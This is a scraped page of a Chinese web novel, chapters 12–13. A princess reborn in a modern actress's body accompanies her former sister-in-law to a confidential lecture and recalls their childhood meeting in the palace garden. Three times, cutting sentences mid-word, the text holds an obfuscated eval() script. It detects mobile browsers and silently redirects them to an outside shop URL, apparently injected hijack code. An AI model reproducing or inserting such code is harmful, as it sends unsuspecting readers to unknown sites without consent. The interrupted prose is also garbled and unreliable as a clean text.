;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484075|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只飞不起来的小鸟,只想跟在她的身边,才会觉得心安一点。 要不要懂事一些?她又不知道皇嫂现在的工作是什么样的,如果贸然提出要去,怕给皇嫂惹麻烦。 现在可不是在大梁了。 在大梁,皇嫂上朝的时候,她都能在屏风后面嗑瓜子玩呢。 听文武百官扯些没必要的话语,一个该好好解决的有利百姓的事被他们各个当皮球似的踢来踢去。李永宁听得都想睡觉,干脆什么套路都不走,直接用上自己长公主的名号,先来一招权势压人,要是压不住,她就动手。 皇嫂名声在外,不方便这样做,可她很方便啊。 她娇纵跋扈的名号,又不是第一天就有了。 要不要开口? 李永宁纠结着。 娇纵跋扈这四个字,到了现代,一下变成了举棋不定。 “稍等。”谈清瑶忽然说。 李永宁不知道要等什么,但还是乖乖等着。 她看着谈清瑶打了个电话。 半分钟后,谈清瑶回来。 “我让杜姐问了,剧组那边晚上没你的事,就明天早上再拍一遍今天的戏。” “啊?” “宁宁,你可以陪我吗?但恐怕会有一些无聊,报告没什么意思,而且……” “我要去!”李永宁一下拉住谈清瑶的手。 冰冰的,凉凉的,她下意识想捂热,却见女人的指尖往后缩了缩。 李永宁猜皇嫂可能觉得大庭广众呢,这么多人不好意思。跟她不一样,皇嫂以前就最在乎规矩了。明明是她的伴读,却像她的先生,她要是上课开小差,恶作剧夫子,皇嫂就要惩罚她。 打掌心这种小事是母后和娘亲她们做的,皇嫂只会说:“你再这样,我就不陪你玩了。” 对很喜欢粘着她的小永宁来讲,这简直就是世界上最大的惩罚了! 李永宁忙把皇嫂放开。 “不会无聊的。”李永宁十分笃定,笑语盈盈地讲,“陪皇嫂的事,怎么能算无聊?” 她兴致勃勃地跟着谈清瑶出发,晚上九点的会议,卡着八点五十的尾巴到达了现场。 因为是全封闭高度保密的会议,谈清瑶还带着李永宁去做登记。 记录员十分热情:“谈总,您来了?稀奇,今天要带人?” 谈清瑶点点头。 记录员:“那摘下帽子口罩,身份证给我,再写个名字。” 李永宁照做,身份证没有,谈清瑶翻出了电子版。 记录员:“……” 啊? 啊啊? 这不是这两天正在八卦劲头上的那位明星吗? 怎么跟谈总凑一块了?? 谈清瑶:“你好,有问题吗?” 记录员忙摇摇头:“没,没有。” 李永宁正巧也把笔放下:“写好了。” 记录员接过一看,愣了。 都说人如其名,这明星的字却跟她本人以前在网络上的形象不同。 寥寥数笔,看似肆意洒脱,笔势大开大张,但结构却暗含法度,锋芒暗藏。 记录员忍不住夸张:“小姑娘,字写得不错啊。” 李永宁嘴甜:“谢谢姐姐。” 谈清瑶也笑。 记录员不明白,明明她夸的是那个明星,为什么谈总瞧着却比明星本人还要高兴? 真是奇怪。 12. 【012】 “生活助理。” 蓝色的吊绳,白色的牌,字是黑色的。李永宁念着这四个字。 谈清瑶正在一旁看文件:“嗯,带你进来需要一个身份。” 李永宁悟了:“皇嫂,我现在是你的生活助理?” 跟在谈清瑶身后的Lily眼观鼻鼻观心,什么都不敢听见,听见也不敢往脑子里记。 谈清瑶合上文件,交给Lily,上前半步,帮李永宁整理有点绕起来的吊绳,低眸说:“知道还这样叫我?” 李永宁嘿嘿一笑:“好的,谈总。” 明明这个称呼被人叫了成千上万次,唯独这一次,好像有了什么不同。 谈清瑶的指尖在挂牌上停留一瞬,伸手抬起李永宁的发,把那贴着后颈的绳子扯出来,压在她的领口下,又放下她的发丝。 “待会进去,想坐哪?” 当然是皇嫂身边呀!李永宁马上就要说。可是她又一下想到,原主的名声可不太敞亮,在她还没解决掉那些烂摊子之前,跟皇嫂走这么近是不是不好?听皇嫂的意思,这会议应该很重要。那在这种场合,她更应注意点。 “我又不懂这些,就在边上坐着就好。”李永宁笑嘻嘻地说,“反正,只要是能看见你的地方,都是好地方。” 又是这种话。 谈清瑶敛眸:“好,都依你。” 会议快要开始,李永宁挑了个最角落的位置。帽子依旧戴上,缩在边边,的确不算引人注目。 与她不同的是,谈清瑶在最前排,身边跟着好几个人,什么瑟提噢,什么医疗决策总监,还有什么法务?反正李永宁没怎么听懂。 原主留给她的记忆里没怎么储存这些东西,只保留了一些对原主来说很重要的内容。 比如,她跟谁是对家,哪个人又在红毯上抢了她的风头,哪个人又在背后蛐蛐她。 诸如此类。 李永宁小心翼翼打开手里的包装。 这是皇嫂给她的。 她先前就好奇,皇嫂从进剧组会议室就拎着一个小袋子究竟是什么。刚刚才知道,是皇嫂给她带的糕点,她以前就喜欢的糯米青团。牌子叫什么成德记,李永宁没听过,至于味道?比不上宫里的御厨,但也还算不错。 “本想一早就给你,但看你饭吃得香,应该饱了,就没拿给你。”谈清瑶方才给她的时候,轻淡地说,“待会还不知道要多久,你先拿着,饿了就垫垫。动静小些,知道吗?” 李永宁拍拍胸脯:“包在我身上吧!” 她最擅长偷吃了。 简单地进行了社交对话以后,站在台上开始做分享的王院士流畅无比的表述忽然卡了壳。 “王院?”助手担心地询问,“怎么了?” 王院士收回放在角落的目光:“没,来,我们继续。” 谈清瑶如有所感,回头,瞧见角落里的一团,弓着身子,悄悄咀嚼着。 简直就是小仓鼠。 在她抬头前,谈清瑶收回目光。 李永宁吃了两个便金盆洗手了,开始认真地听大家讲话。 听了没一会,嘴角就逐渐扁平,无力地归位一条线。聚精会神的双眼也开始变得目光涣散起来。 很好。 这比陪皇嫂上朝还糟糕。 上朝她起码能知道下面的人在讲什么,又有什么小心思。 现在,这些人的嘴一张一合的,说的每个字都好像是中文,连在一起就超过了她的想象。 完全不懂啊。 李永宁打了个哈欠,放弃理解这个会议究竟在说什么,将所有注意力都放在皇嫂身上。 有多久没有这么沉浸地看过她了? 在大梁的时候没有。 她开了公主府,自立门户,又心向自由,得了准许以后隔三差五就往江湖跑。成天不是南下就是北上,没有多少时间陪在皇嫂身边。 “以后有的是时间。” 每当她内心有愧的时候,皇嫂都会淡笑着这样对她说。 “宁宁,你尚且年幼,天下如此广阔浩大,你多四处走走,总是好的。” 她把这话当了真。 结果呢? 十八岁,她就没了时间。 再眨眼,她就到了这里。 撑着下巴,稍稍把帽檐抬高一点,李永宁认真地瞧着她。 皇嫂比在大梁的时候瘦了,身体薄薄的一片,她感觉自己一个掌心就能握住她的腰。 李永宁瞧瞧自己的掌心,又对着走上台的女人比划了下。 好像真的可以。 她还是那么厉害,李永宁偏了偏头,望着她。 当着这么多人,游刃有余,自信而不张扬。台下有人提问,问的什么李永宁听不懂,但大概很难回答,而且有点尖锐。可皇嫂还是处理得很好,波澜不惊,自有一种千山万水拍岸而来,她巍然不动的魄力。 这让李永宁一下想到了第一次见她的时候。 彼时,她年方五岁,还没到开蒙读书的年纪,整日唯一的要事就是做那猫狗都嫌,在宫里横着走的小霸王。 别说御花园了,御书房她都闯得。 那天,她甩开嬷嬷,躲在御花园的太湖石后头,盯着一棵枝丫繁复的桂花树瞧,琢磨着怎么爬上去,好给母后和母妃折几簇新鲜的下来。 恰好撞见四皇兄带着几个太监,拦住了一个生面孔的小姑娘。 这便是八岁的谈清瑶。 皇后娘娘的嫡亲侄女,百年世族精心教养出来的贵女。 她应当是刚随母亲去给皇后姑母请完安,独自来赏花,一身雨过天青色的织金锦裙,比花还漂亮。 四皇子向来跋扈,又因生母与皇后不睦,见着谈家的姑娘落单,便起了坏心。 他让太监捉了一只正滴着黑水的泥鳅,作势要往那身名贵的锦裙上扔,嘴里还恶劣地嘲笑着:“什么百年世族?规矩体统?本皇子今日倒要看看,把这脏东西塞进你领子里,你这会不会像个市井丫头一样哭爹喊娘!” “来人!给我按住她!” 小永宁皱紧眉头,正打算捡起石头砸臭四哥的脑袋,却见那女孩定在原处,半步都没有退让。 她背脊依旧笔直,雪白的脖颈微扬,已可窥见倾城之色的稚嫩脸上没有半分无措惊惶。 “四殿下。”她沉静地开口。 “怎么,怕了?求饶啊!”四皇子得意洋洋。 “殿下误会了。”她冷冷地看着那只泥鳅,语气依旧波澜不惊,“臣女只是在想,臣女今日是皇后娘娘懿旨进宫。殿下毁臣女衣衫事小,可若让前朝百官知道,皇子在御花园中行此无赖之举,折辱世族嫡女,这失的是天家的体统,伤的是陛下的颜面。” 她眼眸微垂:“殿下觉得,这目无尊长、德行有亏的罪名,若是闹到御前,陛下会罚殿下抄几遍《礼记》,又会不会牵连您的母妃?” 四皇子僵在了原地。 见他被镇住,谈清瑶慢条斯理地用帕子掩了掩唇角,不容拒绝地吩咐一旁的太监:“这腌臜东西脏了殿下的眼,还不替殿下拿远些?” 几句话,连削带打。 四皇子被落了面子,一张脸憋得通红,心底发怵,嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484076|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不肯露怯,咬着牙正要强词夺理,忽听得“啪”的一声轻响。 一颗不大不小的碎石子从半空中掷下来,精准无比地砸在了四皇子的脑门上。 四皇子捂着额头,气急败坏。 “哎哟!谁!谁敢暗算本皇子!” 高高的太湖石上,五岁的小永宁踩在最高处,双手叉着腰,居高临下地瞪着他:“我砸的!” “怎么,四哥也想拿泥鳅塞我领子不成?” 四皇子嚣张气焰顿时灭了大半:“永、永宁……你怎么在这儿?” “我若不在,怎么知道四哥原来这么威风?”小永宁娇蛮地哼了一声,扬起肉乎乎的小下巴,声音脆生生的,却底气十足,“方才的话我可全都听见了!我这就去太极殿找父皇!也要找母后!就说四哥不仅欺负人,还要连着父皇母后的颜面一起踩!” “我现在就去!” 说着,她作势就要转身跳下去告状。 四皇子彻底慌了神。 这宫里谁不知道,惹了天王老子也别惹李永宁,管他什么真龙真凤,全可是真会为了她抽人鞭子的。 “你胡说八道!本、本皇子不跟你们一般见识!” 四皇子嘴硬,骂骂咧咧地喊着太监们,头也不回地跑了。 小永宁冲着他略略两声,得意地拍了拍手上的灰。 可太湖石对五岁的孩童来说还是太高了些,她扒着石头边缘,正倒腾着小短腿,吭哧吭哧地往下爬,脚下却一滑,发出了些局促的声响。 在精致的绣花小鞋又要打滑的瞬间,一双温凉而有力的手稳稳地托住了李永宁的腋下。 “公主,当心。” 清淡的声音近在咫尺。 小永宁只觉得身子一轻,被一股好闻的冷香包围。等她回过神来,人已经稳稳当地站在了平地上。 她还没来得及整理自己皱巴巴沾着泥灰的裙角,谈清瑶已退后半步,不卑不亢地屈膝,行了一个无可挑剔的半礼:“臣女谈清瑶,见过公主殿下,多谢公主殿下仗义相助。” 小霸王如永宁,当着这么漂亮又厉害的仙女姐姐的面,小脸也忍不住红了。 但她马上强作镇定地把沾满灰的小手背到身后,圆润的小下巴高抬,娇蛮地哼了一声:“谁、谁要救你啦!这御花园可是我的地盘,我就是见不得四哥拿那种丑东西脏了我的院子,你可别自作多情!” 话讲得凶巴巴,眼睛却不敢看人,只拿余光偷偷乱瞟。 谈清瑶方才冷凝许久的嘴角稍有扬起,拿出丝帕子,微微弯腰,极其自然地在小永宁震惊的眼神里帮她把脸蛋上蹭到的泥灰擦了个干净。 “原来是这样。” 她声音依旧平稳,还带着几分恰到好处的佩服。 “那臣女更要多谢殿下了。刚才若不是殿下从天而降,把四殿下吓走,这御花园的清净怕是保不住了。殿下年纪这么小,就这般威风讲理,实在叫臣女佩服。” 这话夸得真诚极了。 小永宁哪里见过这种阵仗?从小到大,遇到的人都只说她不讲道理的。她顿时被哄得找不着北了,身后那根无形的小尾巴简直要翘到天上去。 “那、那是自然!”小永宁努力压着往上飞的嘴角,大方地许诺,“你这人倒是有眼光!看在你这么会说话的份上,以后在这宫里,四哥要是再敢拿丑东西吓唬你,你就报我的名字!本公主罩你!” 等长大点了,小永宁才恍然惊觉,有文化的人真可怕啊!骂人不着痕迹,夸人也不着痕迹,胡说八道的话在她嘴里都能变得有理有据! 可怕!可怕! 13. 【013】 “驾!驾!” 急促的马蹄声碎在青石板路上,薄尘四起。 李永宁紧攥着缰绳,指尖用力到泛白。 耳边,烈烈风声呼啸而过,带起她鲜红的披风。 远处,天际已弥漫出一种淡紫色,橙调的晚霞混合在其中,晕染出浪漫。 一道身影就静静地立在朱红色的宫门影壁前。 李永宁一眼就认出她。 分明早已是垂帘听政威仪赫赫足叫文武百官俯首称臣的太后了,享有这大梁的一切,可要李永宁说,那层层繁复沉重的翟衣之下,她的身形比往日看着还要清冷孤寂许多。 李永宁忍不住再加快了速度。 “皇嫂!” 她翻身下马,动作急促到有些踉跄。 谈清瑶顾不上仪态,忙上前去扶。 李永宁狡黠地在她凑近的时候抬头一笑:“皇嫂,你担心我。” 谈清瑶嗔她一眼,怪她:“许久未见,这就是你给我的惊喜?” “才不是呢!”李永宁忙说,“我要给皇嫂的才不是这个。” 李永宁现在才不给她看,跟着她回了寝殿,才献宝一样把东西交出来。 很漂亮的一支簪子,十足特别。 李永宁迫不及待地给她介绍这簪子上的每一处究竟来自哪里,有何妙意。 谈清瑶听着,神情温柔。 等她讲完,才接过小簪,要她帮忙给她戴上。 梳妆镜前,李永宁轻抬,小心翼翼地照做。 谈清瑶说,这礼物她很喜欢。 谈清瑶也说,宁宁,好久不见。 淡淡的独属于她的香味传来,李永宁几乎没有忍耐,无法克制地想要伸手抱住她。 她有一肚子的话要说。 “怎么了宁宁?”谈清瑶问,“在外面受委屈了?” 李永宁只摇头不讲话,谈清瑶哄了她许久,又是拉着她手要她也在凳椅上坐下,又是拍着她的背,顺势将她搂进怀里。 把脑袋埋进皇嫂的肩窝,闻着那一股让她心安的味道,过了许久许久,李永宁才有勇气开口。 “皇嫂,我做了一个噩梦。”李永宁告状道,“我从没做过这么可怕的噩梦。” 她这辈子想都未曾想过,自己会离开大梁,去一个叫什么现代的地方。 那地方也太奇怪了。 出行不用骑马而是坐车,好像还有在天上飞的。 吃的东西倒是比大梁多了,但她还是总怀念大梁的味道。 因为在大梁有皇嫂,有她的朋友,有她熟悉的一切。 等等—— 皇嫂。 李永宁的脑海里忽然又闪现出谈清瑶的脸,更清瘦些,十足纤细的身形,妆发没有那么繁复,穿着柔软的针织衫。 那样的皇嫂是梦吗? “宁宁。”低柔的女声在唤她,“醒醒。” 李永宁嘟囔着:“皇嫂,你就再让我歇会嘛。” 她从南边骑马一路赶回都城,片刻不敢停,就是为了早点见到皇嫂,送上诞辰礼。 现如今,好不容易才双脚着地,能喘口气,做回她金枝玉叶的公主,而不是整天风尘仆仆的女侠,她当然要抓紧机会好好休息一通了! “宁宁,醒醒。”还是那一道女声。 李永宁有点不耐烦了,丝毫不遮掩起床气,般把脑袋调转了个方向,还扭了下身子,挪着屁股,往声音传来的反方向去。 再等等—— 怎么感觉她的屁股都快要悬空了? 她记得,她的床没有这样小呀! 以前她跟皇嫂两个人一起睡的时候,那床都是宽敞的。 为何现在稍微挪动一下就快要掉下去了? 李永宁猛地睁开眼,条件反射似的后腰跟着打直,动作太快,谈清瑶刚伸出手,还没贴上去,她的后脑勺已经重重地撞上了报告厅最后一排的隔音软包墙。 显然这份疼痛并没有让她彻底清醒,她的眼神还是有些涣散,甚至分不清报告厅内大屏幕上残留的幽幽蓝光是现实还是梦境。 她下意识地伸手,摸了摸嘴角。 还好,没流口水。 紧接着,她的呼吸凝固了。 刚刚被撞到的地方传来一点点柔软的抚慰,是女人的手在轻缓地替她抚摸。 “疼吗?”谈清瑶关切地问。 “……” 疼不疼不知道,想死是真的了。 谈清瑶无奈:“现在总醒了?” 李永宁羞愧难当,不愿看她,将头往别处偏。 一偏,又瞧见别的人。 是刚刚一直站在台上的王院士。 短发利落,鼻梁上架着银丝眼镜,即便是穿着最普通的单衣衬衫,也掩不住那股经过数十年科学沉淀后的儒雅与深沉。 李永宁觉得,就连她的皱纹都透出一股知识的芬芳。 反正她老了肯定没这种气势。 她在看王院士,王院士也在看她,目光在她的身上停留了一下,又落到旁的地方。 李永宁跟着看去。 …… ………… 刚刚她大逆不道地在王院士讲话时吃的青团包装纸正落在桌子的边缘上。 尴尬,实在尴尬。 在大梁娇纵到可以在太傅头上扎辫子的李永宁,来了这现代,顿时从老虎变成小猫。 她一个人倒是无所谓,可她不能丢皇嫂的脸啊! “王院士,您,您好。” 李永宁慌乱极了,想要站起来,但因为睡姿诡异加上久坐导致右腿有些发麻,身子歪了一下。 眼疾手快,谈清瑶扶上她的肩头。 “腿麻了?”她低头问。 李永宁:“……嗯。” 下一秒,在众人面前总是云淡风轻高不可攀的女人蹲下身来,伸手捏了捏李永宁的小腿。 “这里?”谈清瑶旁若无人地问。 李永宁的脸都快烧成炭了。 她合理怀疑,这个时候要是谁拿个鸡蛋在她脸上滚一圈,那鸡蛋马上就能熟透。 “没事。”她极为不好意思,推推谈清瑶瘦削的肩头。 谈清瑶皱着眉,不应许:“别乱动。” 她一手握着李永宁小腿的上方,一手顺着她的小腿肌肉线条往下轻揉,等到了某个位置,动作微停,拇指抵上去,一个用力。 “唔。”李永宁轻哼一声。 谈清瑶抬头:“现在感觉怎么样?” 李永宁动了动右腿,眼睛一亮:“好多了。” 谈清瑶放开她,直起身:“你起来试试。” 李永宁依着她的话做,起身原地走了两步,半点发麻难受的感觉都没有了。 王院士在旁瞧着,好奇:“小谈,你刚刚是按了哪个穴位吗?你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484077|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂中医?” “略知一二罢了。”谈清瑶说。 皇嫂这是在谦虚呢。李永宁在旁想。要知道在大梁,就连宫里的御医都不敢在皇嫂面前班门弄斧。 毕竟谈家绵延百年,能出的可不只有将才。 她那一手在江湖上人人称奇的点穴功夫,还是皇嫂教了她不少呢。 “给。”谈清瑶拧开款泉水瓶,递给李永宁,“润润,嘴唇都干了。” 李永宁自然地接过。 王院士看着她,又看了眼她身上的挂牌。 生活助理? 到底谁才是谁的生活助理? 只是说到底王院士不是那么八卦的人,没有好奇地细问什么,平和地跟李永宁打了个招呼。 李永宁怯怯的,讲话都温声细语起来,对于王院士的提问很有耐心,乖巧万分。 真新奇。谈清瑶挑了挑眉。 王院士问什么,她就答什么。 王院士问她是不是上过电视,李永宁就说上过,但可能都是一些不太好入目的作品。 王院士问今天的讲座她感觉如何,李永宁实话实说,讲自己根本没听懂几句,光顾着吃青团和跟周公打招呼了。 几番对话下来,王院士笑了。 “小谈啊,你这个助理,很有意思啊。”她刻意在助理二字上增加了重音,“正巧,我身边也缺这么一个助理,不如你把她让给我?” 谈清瑶攥着李永宁的手腕,不动声色地把她往自己身侧拉了拉:“王老,您说笑了。” 聊了几句以后已经摸清王院士性格的李永宁也开口讲:“王奶奶,您就别再开玩笑啦!我这样的性子,偶尔见见您大概还觉得有趣,要是真给您当助理,只怕你忍不了三天,就得把我赶出来啦。” 王院士笑容更甚。 虽然本就是玩笑话,但这小丫头说得也很对。她是个喜欢清净的人,这把岁数了,最想做的事情还是搞研究。要是有这么一个小丫头天天在身边围着,她铁定只会觉得自己的脑瓜子吵嗡嗡的。 又聊了几句,一行人往车库去。 因为谈清瑶说和王院士还有一些细节要讨论,所以几人同乘一车,出发先送王院士回家。 车队平稳地驶出保密区。 上了高架一路畅通,直到下了匝道,汇入市区的繁华路段。 在一个大型十字路口处,车速渐渐慢了下来,最终彻底停住。 “怎么回事?”谈清瑶问。 前排保镖按着耳麦听了听,回头汇报道:“谈总,前面发生连环追尾了,一辆货车横向打滑,把几个车道都堵死了。” 王院士抱怨道:“这路口就是容易这样,我都跟交管局的人说了好几次了,还有规划局,他们都不听的。” 谈清瑶也没有显得很意外。 她神色平淡地拿出手机,在屏幕上敲了句号,点击发送。 随后,她的手极其自然地搭在了身侧的车门把手上。 李永宁捧着刚刚皇嫂给的那半瓶矿泉水,瞧着窗外。 正新奇地跟隔壁车道的把脑袋探出头哈气的萨摩耶互相挑衅呢,视线忽然顿住了。 十米之外,一个穿着交警制服的男人正从堵死的车流缝隙里走来,看似是来疏导交通,实则直直朝着她们这辆主车靠近。 李永宁眉头顿皱。 不对劲。 十分有九分的不对劲。